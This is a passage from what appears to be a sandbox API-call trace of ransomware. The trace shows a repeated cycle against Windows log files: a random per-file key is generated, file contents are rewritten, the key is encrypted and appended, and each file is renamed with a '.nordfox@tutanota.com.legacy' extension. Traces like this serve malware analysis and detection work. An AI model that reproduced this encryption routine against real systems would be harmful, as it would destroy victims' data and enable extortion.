(normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.008.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.008.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0117.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ad90 | out: hHeap=0x520000) returned 1 [0117.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60aea0 | out: hHeap=0x520000) returned 1 [0117.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b7a8 [0117.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0117.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.257] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0117.257] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.257] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl", dwFileAttributes=0x80) returned 1 [0117.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b8b8 [0117.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ba90 [0117.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b8b8 | out: hHeap=0x520000) returned 1 [0117.258] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.007.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.258] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.258] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.265] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.265] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.265] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.265] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.265] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.266] WriteFile (in: hFile=0x694, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.266] WriteFile (in: hFile=0x694, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.266] CloseHandle (hObject=0x694) returned 1 [0117.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0117.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.266] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.007.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.007.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ba90 | out: hHeap=0x520000) returned 1 [0117.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b7a8 | out: hHeap=0x520000) returned 1 [0117.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0117.268] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60afb0 [0117.268] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0117.268] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0117.269] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0117.269] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0117.269] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl", dwFileAttributes=0x80) returned 1 [0117.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b698 [0117.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0117.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b698 | out: hHeap=0x520000) returned 1 [0117.269] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.006.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.270] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.270] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.271] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.271] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.272] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.272] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.272] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.272] WriteFile (in: hFile=0x694, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.272] WriteFile (in: hFile=0x694, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.273] CloseHandle (hObject=0x694) returned 1 [0117.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0117.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0117.273] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.006.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.006.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0117.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60afb0 | out: hHeap=0x520000) returned 1 [0117.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0117.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b7a8 [0117.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.275] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.275] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.275] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl", dwFileAttributes=0x80) returned 1 [0117.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b940 [0117.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b070 [0117.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b940 | out: hHeap=0x520000) returned 1 [0117.280] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.005.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.280] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.280] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.285] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.285] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.285] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.285] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.285] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.286] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.286] WriteFile (in: hFile=0x694, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.286] CloseHandle (hObject=0x694) returned 1 [0117.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.286] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.005.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.005.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b070 | out: hHeap=0x520000) returned 1 [0117.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b7a8 | out: hHeap=0x520000) returned 1 [0117.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0117.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b830 [0117.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.288] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.288] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.288] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl", dwFileAttributes=0x80) returned 1 [0117.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b940 [0117.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b730 [0117.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b940 | out: hHeap=0x520000) returned 1 [0117.289] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.004.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.289] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.290] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.296] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.296] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.296] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.296] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.297] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.297] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.301] WriteFile (in: hFile=0x694, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.301] CloseHandle (hObject=0x694) returned 1 [0117.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.301] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.004.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.004.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b730 | out: hHeap=0x520000) returned 1 [0117.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b830 | out: hHeap=0x520000) returned 1 [0117.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0117.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b0c0 [0117.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.305] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.305] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.305] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl", dwFileAttributes=0x80) returned 1 [0117.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60aea0 [0117.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b658 [0117.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60aea0 | out: hHeap=0x520000) returned 1 [0117.306] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.003.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.307] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.307] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.312] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.312] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.312] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.312] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.313] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.313] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.313] WriteFile (in: hFile=0x694, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.313] CloseHandle (hObject=0x694) returned 1 [0117.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.314] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.003.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.003.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b658 | out: hHeap=0x520000) returned 1 [0117.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b0c0 | out: hHeap=0x520000) returned 1 [0117.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60ad08 [0117.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0117.316] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.316] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0117.316] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl", dwFileAttributes=0x80) returned 1 [0117.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b258 [0117.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b658 [0117.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b258 | out: hHeap=0x520000) returned 1 [0117.318] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.318] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 